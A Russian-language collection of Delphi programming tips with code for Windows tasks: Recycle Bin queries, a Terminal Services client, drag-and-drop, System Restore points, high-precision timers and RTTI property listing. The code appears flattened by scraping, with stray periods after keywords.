Статьи по Delphi (021)…

Как получить количество файлов в корзине и их размер?

Code: Type. PSHQueryRBInfo = ^TSHQueryRBInfo; TSHQueryRBInfo = packed record. CbSize: DWORD; // Size of the structure, in bytes. // This member must be filled in prior to calling the function. I64Size: Int64; // Total size of all the objects in the specified Recycle Bin, in bytes. I64NumItems: Int64; // Total number of items in the specified Recycle Bin. End; Const. Shell32 = 'shell32.dll'; Function SHQueryRecycleBin(szRootPath: PChar; SHQueryRBInfo: PSHQueryRBInfo): HResult; Stdcall; external shell32 Name 'SHQueryRecycleBinA'; Function GetDllVersion(FileName: string): Integer; Var. InfoSize, Wnd: DWORD; VerBuf: Pointer; FI: PVSFixedFileInfo; VerSize: DWORD; Begin. Result := 0; InfoSize := GetFileVersionInfoSize(PChar(FileName), Wnd); If InfoSize <> 0 then. Begin. GetMem(VerBuf, InfoSize); Try. If GetFileVersionInfo(PChar(FileName), Wnd, InfoSize, VerBuf) then. If VerQueryValue(VerBuf, '\', Pointer(FI), VerSize) then. Result := FI.dwFileVersionMS; Finally. FreeMem(VerBuf); End; End; End; Procedure TForm1.Button1Click(Sender: TObject); Var. DllVersion: integer; SHQueryRBInfo: TSHQueryRBInfo; R: HResult; Begin. DllVersion := GetDllVersion(PChar(shell32)); If DllVersion >= $00040048 then. Begin. FillChar(SHQueryRBInfo, SizeOf(TSHQueryRBInfo), #0); SHQueryRBInfo.cbSize := SizeOf(TSHQueryRBInfo); R := SHQueryRecycleBin(nil, @SHQueryRBInfo); If r = s_OK then. Begin. Label1.Caption := Format('Size:%d Items:%d', [SHQueryRBInfo.i64Size, SHQueryRBInfo.i64NumItems]); End. Else. Label1.Caption := Format('Err:%x', [r]); End; End; { The SHQueryRecycleBin API used in this method is. Only available on systems with the latest shell32.dll installed with IE4 / Active Desktop. }

Как скрыть/показать ActiveDesktop?

Code: Uses. ComObj, ShlObj, ActiveX; Procedure EnableActiveDesktop(bValue: Boolean); Const. CLSID_ActiveDesktop: TGUID = (D1: $75048700; D2: $EF1F; D3: $11D0; D4: ($98, $88, $00, $60, $97, $DE, $AC, $F9)); Var. MyObject: IUnknown; ActiveDesk: IActiveDesktop; TwpoComponentOpt: TComponentsOpt; Begin. MyObject := CreateComObject(CLSID_ActiveDesktop); ActiveDesk := MyObject as IActiveDesktop; With twpoComponentOpt do. Begin. ZeroMemory(@twpoComponentOpt, SizeOf(TComponentsOpt)); DwSize := SizeOf(twpoComponentOpt); FEnableComponents := bValue; // fActiveDesktop := True; End; ActiveDesk.SetDesktopItemOptions(twpoComponentOpt, 0); ActiveDesk.ApplyChanges(AD_APPLY_ALL); End;

Написание Terminal Services Client.

Code: { "WINDOWS2000 SERVER" / "WINDOWS XP" terminal services are very important in a computer. Network: each client computer can emulate server's desktop by using a simple executable. Named "mstsc.exe". This executable uses the ActiveX control "MStscax" defined in. "mstscax.dll". These files are automatically installed in Windows XP and Windows 2000 Server but not. In Windows2000 Professional or Windows98. You can download the entire package containing. These file at the following url: Http://www.microsoft.com/windows2000/downloads/recommended/TSAC/tsmsi.asp?Lang= After downloading the executable "tsmsisetup.exe", run it to unpack. Now let's. Take into consideration the folder "System32": this is the folder containing. "mstsc.exe" and "mstscax.dll". Now register the ActiveX control "MsTscAx": 1)Start->Run-> 2)type the following command line: regsvr32 <path to mstscax.dll>\mstscax.dll. Where <path to mstscax.dll> is the complete path to the file "mstscax.dll". In this article I will show you how to embed the ActiveX control "MsTscAx". In a Delphi application in order to build a substitute of "mstsc.exe". First of all you must import the ActiveX control "mstscax": In the Delphi IDE: 1)Component->Import ActiveX Control. 2)Select "Microsoft Terminal Services Control". The class name will be "TMsTscAx". 3)Select the unit dir name and press "Create Unit": you have created the import Unit. 4)Create a package or select an existing one and add the created unit to this package. Recompile the package and now delphi palette will contain (in the ActiveX tab if you. Haven't changed it in the importing process) the MstScax component. Now create a new Delphi project and add the Mstscax component to it. Let's go to analize the interesting properties of this new component: 1)Server: this is the IP of the Windows2000 Server computer whose desktop we want. To emulate. 2)BitmapPeristence: 1 if you want to cache Bitmaps or 0 otherwise. 3)Compress: 1 if you want to cache data or 0 otherwise. With the "Connect" method I open a terminal emulation session. With the "Disconnect" method I disconnect from a terminal emulation session but the. Session itself isn't closed on the server. Another important feature of "Client Terminal Service" is the ability to define a. Program that automatically run when the client machine opens a terminal. Emulation session. You can programatically achieve this target in this manner: Set_StartProgram(<Path to Exe>\<Exe filename>); Once defined an automatically running program, the client computer will see a remote. Desktop which is clear except for the presence of the program itself; this is. Useful if you want to restrict the operative range of your client computers to the. Program itself. When the program is closed, the connection is closed and the session. On the windows 2000 server computer is closed. This is the code of my example project: } Unit Main; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, OleCtrls, ExtCtrls, StdCtrls, MSTSCLib_TLB;//the import Unit: substitute it with the name you assigned. //during the import process if this is different to it. Type. TForm1 = class(TForm). MsTscAx1: TMsTscAx; Panel1: TPanel; BtConnect: TButton; Procedure btConnectClick(Sender: TObject); //connection button. Procedure FormCreate(Sender: TObject); Procedure FormClose(Sender: TObject; var Action: TCloseAction); Procedure MsTscAx1Disconnected(Sender: TObject; DisconnectReason: Integer); Procedure MsTscAx1Connecting(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Procedure TForm1.btConnectClick(Sender: TObject); Begin. MsTscAx1.Connect; End; Procedure TForm1.FormCreate(Sender: TObject); Begin. Left := 0; Top := 0; Height := Screen.Height - 20; Width := Screen.Width; MsTscAx1.Server := '1.2.3.4'; //substitute it with the IP Address of your server. With MsTscAx1.AdvancedSettings do. Begin. BitmapPeristence := 1;//enable bitmap cache. Compress := 1;//enable data cache. End; With MsTscAx1.SecuredSettings do. Begin. Set_StartProgram('C:\Sviluppo\Delphi\DbBrowser.exe'); //the program I want to run. End; End; Procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); Begin. If not btConnect.Enabled then. //I must close the automatically running program before closing. //my terminal emulation program. Begin. MessageDlg('Close "DbBrowser.exe" before closing the application!', MtInformation, [mbOK], 0); Action := caNone; End; End; Procedure TForm1.MsTscAx1Disconnected(Sender: TObject; DisconnectReason: Integer); Begin. BtConnect.Enabled := True; End; Procedure TForm1.MsTscAx1Connecting(Sender: TObject); Begin. BtConnect.Enabled := False; End; End. { In order to run this application in another computer you must copy the file. "mstscax.dll" on the target. Computer and register it with "regsvr32" as shown at the beginning of this. Article. You can automate this. Process by embedding the file in your executable, etc.. Carlo Pasolini, Riccione(Italy), ccpasolini@libero.it. }

Частота мигания каретки.

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. Label1.Caption := Format('Caret blink time is: %d ms', [GetCaretBlinkTime]); End; Procedure TForm1.Button2Click(Sender: TObject); Begin. // Set caret blink time to 2000ms. SetCaretBlinkTime(2000); End;

Как получить список всех расширений и их ассоциаций?

Code: { This Code will return the programs associated with each extension. You can obviously modify it to search for a specific extension. } Uses Registry; Procedure TForm1.Button1Click(Sender: TObject); Var. Reg: TRegistry; Keys: TStringList; I: Integer; Typename, displayname, server: string; Begin. Memo1.Clear; Reg := TRegistry.Create; Try. Reg.rootkey := HKEY_CLASSES_ROOT; If reg.OpenKey('', False) then. Begin. Keys := TStringList.Create; Try. Reg.GetKeyNames(keys); Reg.CloseKey; {memo1.lines.addstrings(keys);}. For i := 0 to keys.Count - 1 do. Begin. If keys[i][1] = '.' then. Begin. {this is an extension, get its typename}. If reg.OpenKey(keys[i], False) then. Begin. Typename := reg.ReadString(''); Reg.CloseKey; If typename <> '' then. Begin. If reg.OpenKey(typename, False) then. Begin. Displayname := reg.ReadString(''); Reg.CloseKey; End; If reg.OpenKey(typename + '\shell\open\command', False) then. Begin. Server := reg.ReadString(''); Memo1.Lines.Add(Format('Extension: "%s", Typename: "%s", Displayname:"%s"' + #13#10' Server: %s', [keys[i], typename, displayname, server])); Reg.CloseKey; End; End; End; End; End; Finally. Keys.Free; End; End; Finally. Reg.Free. End; End;

Как сделать Drag-n-Drop из чужого приложения?

Code: { The following example demonstrates the Drag&Drop machanism from an external. Application (Wordpad, Microsoft,..) to a TMemo in your own application. } Unit TMemoDragDropFrm; { **************************************************************** Source File Name : TMemoDragDropFrm.pas. Typ : Hauptformular. Autor : Andreas Kosch. Compiler : Delphi 4.02 CSS. Betriebssystem : Windows 98. Beschreibung : Text via OLE Drag&Drop ubernehmen aus einer. Anderen Anwendung (wie zum Beispiel WordPad). Ubernehmen. 16.01.2003: Test mit Delphi 7 und Microsoft Word XP unter Windowx XP. **************************************************************** } { Comments by Thomas Stutz }. Interface. Uses. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, ActiveX, ShlObj, ComObj, StdCtrls; Type. // TForm1's declaration indicates that it's a TForm and that. // it supports the IDropTarget interface: { IDropTarget. Any application wanting to accept drop operations must. Implement the IDropTarget interface. Methods of the IDropTarget interface: DragEnter. Dragged item has just been moved into the application's window, Return the relevant icon. DragOver. Dragged item is being moved over the application's window, Return the relevant icon. DragLeave. Dragged item has just moved out of the application's window. Drop. The dragged item has been dropped on this application. } TForm1 = class(TForm, IDropTarget). Memo1: TMemo; Procedure FormCreate(Sender: TObject); Procedure FormDestroy(Sender: TObject); Private. // IDropTarget. Function DragEnter(const dataObj: IDataObject; GrfKeyState: Longint; Pt: TPoint; Var dwEffect: Longint): HResult; stdcall; Function DragOver(grfKeyState: Longint; Pt: TPoint; Var dwEffect: Longint): HResult; stdcall; Function DragLeave: HResult; stdcall; Function Drop(const dataObj: IDataObject; GrfKeyState: Longint; pt: TPoint; Var dwEffect: Longint): HResult; stdcall; // IUnknown. // Ignore referance counting. Function _AddRef: Integer; stdcall; Function _Release: Integer; stdcall; Public. End; Var. Form1: TForm1; Implementation. {$R *.dfm}. Uses. ShellAPI; // In the OnCreate event handler, two important methods are called. // First, OleInitalize is called. This initializes the OLE libraries and should always be. // called before your application uses any OLE functions. // RegisterDragDrop registers the window as a valid drop target. // If this isn't called, the window will never receive any drop events. Procedure TForm1.FormCreate(Sender: TObject); Begin. OleInitialize(nil); {Allow window to accept drop events}. OleCheck(RegisterDragDrop(Handle, Self)); { Execute Wordpad for testing }. ShellExecute(Handle, 'open', 'wordpad', 'c:\Test.doc', nil, SW_SHOW); End; // OnDestroy does the exact opposite. It calls RevokeDropTarget to indicate that. // drop events are no longer accepted. // It then calls OleUninitialize, since the application is finished using all OLE functions. Procedure TForm1.FormDestroy(Sender: TObject); Begin. {Finished accepting drops}. RevokeDragDrop(Handle); OleUninitialize; End; {-----------------------------------------------------------------} { IDropTarget-Implementierung }. {-----------------------------------------------------------------} Function TForm1.DragEnter(const dataObj: IDataObject; GrfKeyState: Longint; Pt: TPoint; Var dwEffect: Longint): HResult; Begin. DwEffect := DROPEFFECT_COPY; Result := S_OK; End; Function TForm1.DragOver(grfKeyState: Longint; Pt: TPoint; Var dwEffect: Longint): HResult; Begin. DwEffect := DROPEFFECT_COPY; Result := S_OK; End; Function TForm1.DragLeave: HResult; Begin. Result := S_OK; End; Function TForm1._AddRef: Integer; Begin. Result := 1; End; Function TForm1._Release: Integer; Begin. Result := 1; End; Function TForm1.Drop(const dataObj: IDataObject; GrfKeyState: Longint; Pt: TPoint; Var dwEffect: Longint): HResult; Var. AFmtEtc: TFORMATETC; AStgMed: TSTGMEDIUM; PData: PChar; Begin. {Make certain the data rendering is available}. If (dataObj = nil) then. Raise Exception.Create('IDataObject-Pointer is not valid!'); With aFmtEtc do. Begin. CfFormat := CF_TEXT; Ptd := nil; DwAspect := DVASPECT_CONTENT; Lindex := -1; Tymed := TYMED_HGLOBAL; End; {Get the data}. OleCheck(dataObj.GetData(aFmtEtc, aStgMed)); Try. {Lock the global memory handle to get a pointer to the data}. PData := GlobalLock(aStgMed.hGlobal); { Replace Text }. Memo1.Text := pData; Finally. {Finished with the pointer}. GlobalUnlock(aStgMed.hGlobal); {Free the memory}. ReleaseStgMedium(aStgMed); End; Result := S_OK; End; End.

Как получить имя текщего стиля и имя цветовой схемы?

Code: Uses ComObj, SyncObjs; Var. GetCurrentThemeName: function (pszThemeFileName: LPWSTR; cchMaxNameChars: Integer; PszColorBuff: LPWSTR; cchMaxColorChars: Integer; pszSizeBuff: LPWSTR; CchMaxSizeChars: Integer): HRESULT; stdcall; Procedure TForm1.Button1Click(Sender: TObject); Var. FileName, ColorScheme, SizeName: WideString; HThemeLib: THandle; Begin. Try. HThemeLib := LoadLibrary('uxtheme.dll'); If hThemeLib > 0 then. GetCurrentThemeName := GetProcAddress(hThemeLib, 'GetCurrentThemeName'); If Assigned(GetCurrentThemeName) then. Begin. SetLength(FileName, 255); SetLength(ColorScheme, 255); SetLength(SizeName, 255); OleCheck(GetCurrentThemeName(PWideChar(FileName), 255, PWideChar(ColorScheme), 255, PWideChar(SizeName), 255)); // show the the theme path and file name. ShowMessage(PWideChar(FileName)); // show the color scheme name. ShowMessage(PWideChar(ColorScheme)); // show the size name. ShowMessage(PWideChar(SizeName)); End; Finally. FreeLibrary(hThemeLib); End; End;

Как восстановить повреждённую таблицу?

How to recover Data in a damaged Header of DbTables.

(Paradox or Dbase) Tables.

If this problem occurs and we have not copies of data.

Paradox can't directly open those damaged Tables so.

Paradox can't repair those tables.

Solution :

T1: the Damaged Table.

1- We Have to create an empty Table (T2.Db or.

T2.Dbf) that have the same structure of damaged table.

(T1.DB or T1.Dbf).

2- With Dos Prompts or excutable batch File we have to.

Execute this command:

Copy T2.Db+T1.db T3.Db.

Or.

Copy T2.Dbf+T1.dbf T3.Dbf.

3-Finally with paradox browser we can open T3 Table.

We have to delete bad records.

And copy t3 to t1 table.

©Drkb::02962.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Как сделать System Restore point (XP)?

Code: { If you haven't installed the Microsoft Scripting Control yet. (TScriptControl component), Get it from http://www.msdn.microsoft.com/scripting/ Once you've downloaded and run the installation, start Delphi and go to the. Component | Import ActiveX Control... menu. Select "Microsoft Script Control 1.0" from the Listbox amd click "Install". To install the component into Delphi's palette. What you should end up with now is a TScriptControl component on your ActiveX tab. Start a new application, and drop a TButton, and a TScriptControl onto the main form. In the OnClick event of Button1, put the following code: } Procedure TForm1.Button1Click(Sender: TObject); Var. Sr: OLEVAriant; Begin. ScriptControl1.Language := 'VBScript'; Sr := ScriptControl1.Eval('getobject("winmgmts:\\.\root\default:Systemrestore")'); If sr.CreateRestorePoint('Automatic Restore Point', 0, 100) = 0 then. ShowMessage('New Restore Point successfully created.'). // Wiederherstellungspunkt erfolgreich erstellt. Else. ShowMessage('Restore Point creation Failed!'); // Wiederherstellungspunkt Erstellung fehlgeschlagen. End; {*****************************************************} {2. Using the SRSetRestorePoint() API from SrClient.dll}. // Translation from SRRestorePtAPI.h. Const. // Type of Event. BEGIN_SYSTEM_CHANGE = 100; END_SYSTEM_CHANGE = 101; // Type of Restore Points. APPLICATION_INSTALL = 0; CANCELLED_OPERATION = 13; MAX_DESC = 64; MIN_EVENT = 100; // Restore point information. Type. PRESTOREPTINFOA = ^_RESTOREPTINFOA; _RESTOREPTINFOA = packed record. DwEventType: DWORD; // Type of Event - Begin or End. DwRestorePtType: DWORD; // Type of Restore Point - App install/uninstall. LlSequenceNumber: INT64; // Sequence Number - 0 for begin. SzDescription: array [0..MAX_DESC] of CHAR; // Description - Name of Application / Operation. End; RESTOREPOINTINFO = _RESTOREPTINFOA; PRESTOREPOINTINFOA = ^_RESTOREPTINFOA; // Status returned by System Restore. PSMGRSTATUS = ^_SMGRSTATUS; _SMGRSTATUS = packed record. NStatus: DWORD; // Status returned by State Manager Process. LlSequenceNumber: INT64; // Sequence Number for the restore point. End; STATEMGRSTATUS = _SMGRSTATUS; PSTATEMGRSTATUS = ^_SMGRSTATUS; Function SRSetRestorePointA(pRestorePtSpec: PRESTOREPOINTINFOA; pSMgrStatus: PSTATEMGRSTATUS): Bool; Stdcall; external 'SrClient.dll' Name 'SRSetRestorePointA'; // Example how to create and cancel a previous restore point. // Ref: http://tinyurl.com/78pv. Procedure TForm1.Button1Click(Sender: TObject); Const. CR = #13#10; Var. RestorePtSpec: RESTOREPOINTINFO; SMgrStatus: STATEMGRSTATUS; Begin. // Initialize the RESTOREPOINTINFO structure. RestorePtSpec.dwEventType := BEGIN_SYSTEM_CHANGE; RestorePtSpec.dwRestorePtType := APPLICATION_INSTALL; RestorePtSpec.llSequenceNumber := 0; RestorePtSpec.szDescription := 'SAMPLE RESTORE POINT'; If (SRSetRestorePointA(@RestorePtSpec, @SMgrStatus)) then. Begin. ShowMessage('Restore point set. Restore point data:' + CR+ 'Sequence Number: ' + Format('%d', [SMgrStatus.llSequenceNumber]) + CR+ 'Status: ' + Format('%u', [SMgrStatus.nStatus])); // Restore Point Spec to cancel the previous restore point. RestorePtSpec.dwEventType := END_SYSTEM_CHANGE; RestorePtSpec.dwRestorePtType := CANCELLED_OPERATION; RestorePtSpec.llSequenceNumber := SMgrStatus.llSequenceNumber; // This is the sequence number returned by the previous call. // Canceling the previous restore point. If (SRSetRestorePointA(@RestorePtSpec, @SMgrStatus)) then. ShowMessage('Restore point canceled. Restore point data:' + CR+ 'Sequence Number: ' + Format('%d', [SMgrStatus.llSequenceNumber]) + CR+ 'Status: ' + Format('%u', [SMgrStatus.nStatus])). Else. ShowMessage('Could not cancel restore point.'); End. Else. ShowMessage('Could not set restore point.'); End; End;

Конвертация арабских цифр в римские.

Code: Function IntToRoman(num: Cardinal): String; {returns num in capital roman digits}. Const. Nvals = 13; Vals: array [1..Nvals] of word = (1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900, 1000); Roms: array [1..Nvals] of string[2] = ('I', 'IV', 'V', 'IX', 'X', 'XL', 'L', 'XC', 'C', 'CD', 'D', 'CM', 'M'); Var. B: 1..Nvals; Begin. Result := ''; B := Nvals; While num > 0 do. Begin. While vals[b] > num do. Dec(b); Dec (num, vals[b]); Result := result + roms[b]. End; End;

Как заменить строку в матрице.

Code: Program Matrices; {$APPTYPE CONSOLE}. Uses. SysUtils; Type. TMatrixRow = Array of Double; {preferrable to Real}. TMatrix = Array of TMatrixRow; Procedure MatrixExchangeRows(M: TMatrix; First, Second: Integer); Var. Help: TMatrixRow; Begin. If (First < 0) or (First > High(M)) or (Second < 0) or (Second > High(M)) then. Exit; {or whatever you like.}. {Only pointers are exchanged!}. Help := M[First]; M[First] := M[Second]; M[Second] := Help; End; Procedure MatrixWrite(M: TMatrix); Var. Row, Col: Integer; Begin. For Row := 0 to High(M) do. Begin. For Col := 0 to High(M[Row]) do. Write(M[Row, Col]:10:2); Writeln; End; Writeln; End; Var. Matrix: TMatrix; Row, Column: Integer; Begin. Randomize; SetLength(Matrix, 4, 4); For Row := 0 to High(Matrix) do. For Column := 0 to High(Matrix[Row]) do. Matrix[Row, Column] := Random * 1000.0; MatrixWrite(Matrix); MatrixExchangeRows(Matrix, 1, 2); MatrixWrite(Matrix); Readln; End.

Как реализовать сверхточный таймер?

Windows is not a real time operating system so it is not really able to reliably achieve high accuracy timing without using a device driver. The best I have been able to get is a few nanoseconds using QueryPerformanceCounter. This is the procedure I use:

Code: Var. WaitCal: Int64; Procedure Wait(ns: Integer); Var. Counter, Freq, WaitUntil: Int64; Begin. If QueryPerformanceCounter(Counter) then. Begin. QueryPerformanceFrequency(Freq); WaitUntil := Counter + WaitCal + (ns * (Freq div 1000000)); While Counter < WaitUntil do. QueryPerformanceCounter(Counter); End. Else. Sleep(ns div 1000); End;

To get improved accuracy do this a little while before using Wait().

Code: Var. Start, Finish: Int64; Application.ProcessMessages; Sleep(10); QueryPerformanceCounter(Start); Wait(0); QueryPerformanceCounter(Finish); WaitCal := Start - Finish;

A trick I have found to increase the reliability of this on my computer is to call Wait like this:

Code: Application.ProcessMessages; Sleep(0); DoSomething; Wait(10); DoSomethingElse;

©Drkb::00186.

Взято из http://www.lmc-mediaagentur.de/dpool.

Code: Unit Counter; (* Written by Jin *). {$O-,F-,S-,N-,R-,Q-}. Interface. Type. TTimerValue = record. Micro: Word; { Счётчик 8253/8254 }. Counter: Longint { Счётчик BIOS }. End; Const. MicroFreq = 1193181 { $1234DD }; { Частота обновления счётчика Micro (1/сек) }. CounterFreq = MicroFreq / 65536; { Частота обновления счётчика Counter (1/сек) }. MicroInterval = 1 / MicroFreq; { Интервал обновления счётчика Micro (сек) }. CounterInterval = 1 / CounterFreq; { Интервал обновления счётчика Counter (сек) }. Var. BIOSCounter: Longint absolute $0040:$006C; { Системный счётчик (обновляется CounterFreq раз/сек, }. { то есть каждые CounterInterval секунд) }. Procedure InitTimer; { Инициализировать таймер (перевести в нужный режим работы). }. { Эту процедуру необходимо выполнять перед использованием функций }. { и процедур для получения значения таймера (или счётчика), если }. { Вы в своей программе изменили режим работы таймера. В противном }. { случае эта процедура Вам не понадобится, так как она выполняется }. { в секции инициализации модуля (сразу после запуска программы) ! }. Procedure GetTimerValue(var Timer: tTimerValue); { Записать значение таймера в переменную Timer }. Function GetTimerSec: Real; { Получить значение таймера в секундах (с точностью до 1 мкс) }. Function GetTimerMillisec: Longint; { Получить значение таймера в миллисекундах }. Procedure GetTimerDifference(var Older, Newer, Result: tTimerValue); { Записать разницу значений Newer и Older в переменную Result }. Function GetTimerDifSec(var Older, Newer: tTimerValue): Real; { Получить разницу значений Newer и Older в секундах }. Function GetTimerDifMillisec(var Older, Newer: tTimerValue): Longint; { Получить разницу значений Newer и Older в миллисекундах }. Function ConvTimer2Sec(var Timer: tTimerValue): Real; { Получить количество секунд по значению переменной Timer }. Function ConvTimer2Millisec(var Timer: tTimerValue): Longint; { Получить количество миллисекунд по значению переменной Timer }. Procedure ConvSec2Timer(Sec: Real; var Timer: tTimerValue); { Преобразовать значение секунд Sec типа Real в тип tTimerValue }. Procedure ConvMillisec2Timer(Millisec: Longint; var Timer: tTimerValue); { Преобразовать значение миллисекунд Millisec типа Longint в тип tTimerValue }. Procedure ResetCounter; { Сбросить счётчик (то есть принять текущее значение таймера за ноль для }. { процедуры GetCounterValue и функции GetCounterSec) }. Procedure GetCounterValue(var Timer: tTimerValue); { Записать значение счётчика в переменную Timer }. Function GetCounterSec: Real; { Получить значение секунд счётчика }. Function GetCounterMillisec: Longint; { Получить значение миллисекунд счётчика }. Procedure Delay(MS: Word); { Задержка MS миллисекунд (1 сек = 1000 мс) }. Procedure DelaySec(Sec: Real); { Задержка Sec секунд }. Procedure MDelay(N: Longint); { Задержка N * MicroInterval секунд (приближённо N * 0.838095813 мкс). }. { Если Вам нужны наиболее точные короткие задержки, лучше использовать }. { эту процедуру, так как она даёт наименьшую погрешность по сравнению }. { с двумя предыдущими процедурами. }. Implementation. Var Now: tTimerValue; Var Zero: tTimerValue; Procedure InitTimer; assembler; Asm. Mov al,34h { Режим 2 таймера 0 }. Out 43h,al. Xor al,al { 65536 циклов до IRQ }. Out 40h,al. Out 40h,al. End. Procedure GetTimerValue; assembler; Asm. Cld. Xor ax,ax. Mov es,ax. Mov bx,46Ch { DS:BX = 0000h:046Ch = Таймер BIOS }. Cli. Mov dx,es:[bx]. Mov cx,es:[bx+2]{ CX:DX = Первое значение таймера BIOS }. Sti. Out 43h,al { Замораживаем таймер 8253/8254 }. Cli. Mov si,es:[bx]. Mov di,es:[bx+2]{ DI:SI = Второе значение таймера BIOS }. In al,40h. Mov ah,al. In al,40h. Sti. Xchg ah,al { AX = Таймер 8253/8254 }. Not ax { Обратный отсчёт -> Прямой отсчёт }. Cmp dx,si { Первое значение таймера BIOS равно второму значению ? }. Je @Ok { Да! Оставляем как есть (CX:DX), иначе... }. Or ax,ax { Таймер BIOS изменился после заморозки таймера 8253/8254 (между OUT и CLI) ? }. Js @Ok { Да! Оставляем как есть (CX:DX), иначе... }. Mov dx,si. Mov cx,di { CX:DX = DI:SI, если таймер BIOS изменился между STI и OUT }. @Ok: Les di,Timer. Stosw { Low Word }. Xchg ax,dx. Stosw { Middle Word }. Xchg ax,cx. Stosw { High Word - Записаны из CX:DX:AX }. End. Function GetTimerSec; Begin. GetTimerValue(Now); GetTimerSec := ConvTimer2Sec(Now). End; Function GetTimerMillisec; Begin. GetTimerMillisec := Trunc(GetTimerSec*1000). End; Procedure GetTimerDifference; assembler; Asm. Cld. Push ds. Lds si,Newer. Lodsw { Low Word }. Xchg cx,ax. Lodsw { Middle Word }. Xchg dx,ax. Lodsw { High Word }. Xchg cx,ax { Прочитаны в CX:DX:AX }. Lds si,Older. Sub ax,[si]. Sbb dx,[si+2]. Sbb cx,[si+4] { Вычитаем Older из Newer }. Les di,Result. Stosw { Low Word }. Xchg ax,dx. Stosw { Middle Word }. Xchg ax,cx. Stosw { High Word - Записано из CX:DX:AX }. Pop ds. End. Function GetTimerDifSec; Begin. GetTimerDifference(Older, Newer, Now); GetTimerDifSec := ConvTimer2Sec(Now). End; Function GetTimerDifMillisec; Begin. GetTimerDifMillisec := Trunc(GetTimerDifSec(Older, Newer)*1000). End; Function ConvTimer2Sec; Begin. ConvTimer2Sec := (Timer.Counter*65536 + Timer.Micro) / MicroFreq. End; Function ConvTimer2Millisec; Begin. ConvTimer2Millisec := Trunc(ConvTimer2Sec(Timer)*1000). End; Procedure ConvSec2Timer; Begin. Timer.Counter := Trunc(Sec * CounterFreq); Timer.Micro := Trunc(Sec * MicroFreq) mod 65536. End; Procedure ConvMillisec2Timer; Begin. Timer.Counter := Trunc(Millisec/1000 * CounterFreq); Timer.Micro := Trunc(Millisec/1000 * MicroFreq) mod 65536. End; Procedure ResetCounter; Begin. GetTimerValue(Zero). End; Procedure GetCounterValue; Begin. GetTimerValue(Timer); GetTimerDifference(Zero, Timer, Timer). End; Function GetCounterSec; Begin. GetTimerValue(Now); GetTimerDifference(Zero, Now, Now); GetCounterSec := ConvTimer2Sec(Now). End; Function GetCounterMillisec; Begin. GetCounterMillisec := Trunc(GetCounterSec*1000). End; Procedure Delay; Var Zero: Longint; Begin. If MS <= 0 then Exit; Zero := GetTimerMillisec; Repeat. Until GetTimerMillisec-Zero >= MS. End; Procedure DelaySec; Var Zero: Real; Begin. If Sec <= 0 then Exit; Zero := GetTimerSec; Repeat. Until GetTimerSec-Zero >= Sec. End; Procedure MDelay; Label Check; Var Zero: tTimerValue; Begin. If N <= 0 then Exit; GetTimerValue(Zero); Check: GetTimerValue(Now); GetTimerDifference(Zero, Now, Now); Asm. Mov ax,word ptr Now. Mov dx,word ptr Now+2 { DX:AX - Прошедшее время }. { mov cx,word ptr Now+4. Or cx,cx. Jnz @Exit}. Cmp dx,word ptr N+2 { Проверяем старшие слова }. Jb Check. Cmp ax,word ptr N { Проверяем младшие слова }. Jb Check. @Exit: EndEnd; Begin. InitTimer. End.

Как получить сообщение об изменении видео стиля?

Code: Const. WM_THEMECHANGED = $031A; Type. TForm1 = class(TForm). {...} Private. Public. Procedure WMTHEMECHANGED(var Msg: TMessage); message WM_THEMECHANGED; End; {...} Implementation. {...} Procedure TForm1.WMTHEMECHANGED(var Msg: TMessage); Begin. Label1.Caption := 'Theme changed'; Msg.Result := 0; End;

Л.

You may need to know at runtime what properties are available for a particular component at runtime. The list can be obtained by a call to GetPropList. The types, functions and procedures, including GetPropList, that allow access to this property information reside in the VCL source file TYPINFO.PAS.

GetPropList Parameters.

Code: Function GetPropList(TypeInfo: PTypeInfo; TypeKinds: TTypeKinds; PropList: PPropList): Integer;

The first parameter for GetPropList is of type PTypeInfo, and is part of the RTTI (Run Time Type Information) available for any object. The record structure defined:

Code: PPTypeInfo = ^PTypeInfo; PTypeInfo = ^TTypeInfo; TTypeInfo = record. Kind: TTypeKind; Name: ShortString; {TypeData: TTypeData}. End;

The TTypeInfo record can be accessed through the objects ClassInfo property. For example, if you were getting the property list of a TButton, the call might look, so far, like this:

Code: GetPropList(Button1.ClassInfo, ....

The second parameter, of type TTypeKinds, is a set type that acts as a filter for the kinds of properties to include in the list. There are a number of valid entries that could be included in the set (see TYPEINFO.PAS), but tkProperties covers the majority. Now our call to GetPropList would look like:

Code: GetPropList(Button1.ClassInfo, tkProperties ....

The last parameter, PPropList is an array of PPropInfo and is defined in TYPEINFO.PAS:

Code: PPropList = ^TPropList; TPropList = array[0..16379] of PPropInfo;

Now the call might read:

Code: Procedure TForm1.FormCreate(Sender: TObject); Var. PropList: PPropList; Begin. PropList := AllocMem(SizeOf(PropList^)); GetPropList(TButton.ClassInfo, tkProperties + [tkMethod], PropList); {...}

Getting Additional Information from the TTypeInfo Record:

The example at the end of this document lists not just the property name, but it's type. The name of the property type resides in an additional set of structures. Let's take a second look at the TPropInfo record. Notice that it contains a PPTypeInfo that points ultimately to a TTypeInfo record. TTypeInfo contains the class name of the property.

Code: PPropInfo = ^TPropInfo; TPropInfo = packed record. PropType: PPTypeInfo; GetProc: Pointer; SetProc: Pointer; StoredProc: Pointer; Index: Integer; Default: Longint; NameIndex: SmallInt; Name: ShortString; End; PPTypeInfo = ^PTypeInfo; PTypeInfo = ^TTypeInfo; TTypeInfo = record. Kind: TTypeKind; Name: ShortString; {TypeData: TTypeData}. End;

The example below shows how to set up the call to GetPropList, and how to access the array elements. TForm will be referenced in this example instead of TButton, but you can substitute other values in the GetPropList call. The visible result will be to fill the list with the property name and type of the TForm properties.

This project requires a TListBox. Enter the code below in the forms OnCreate event handler.

Code: Uses. TypInfo; Procedure TForm1.FormCreate(Sender: TObject); Var. PropList: PPropList; I: integer; Begin. PropList := AllocMem(SizeOf(PropList^)); I := 0; Try. GetPropList(TForm.ClassInfo, tkProperties + [tkMethod], PropList); While (PropList^[i] <> Nil) and (i < High(PropList^)) do. Begin. ListBox1.Items.Add(PropList^[i].Name + ': ' + PropList^[i].PropType^.Name); Inc(i); End; Finally. FreeMem(PropList); End; End;

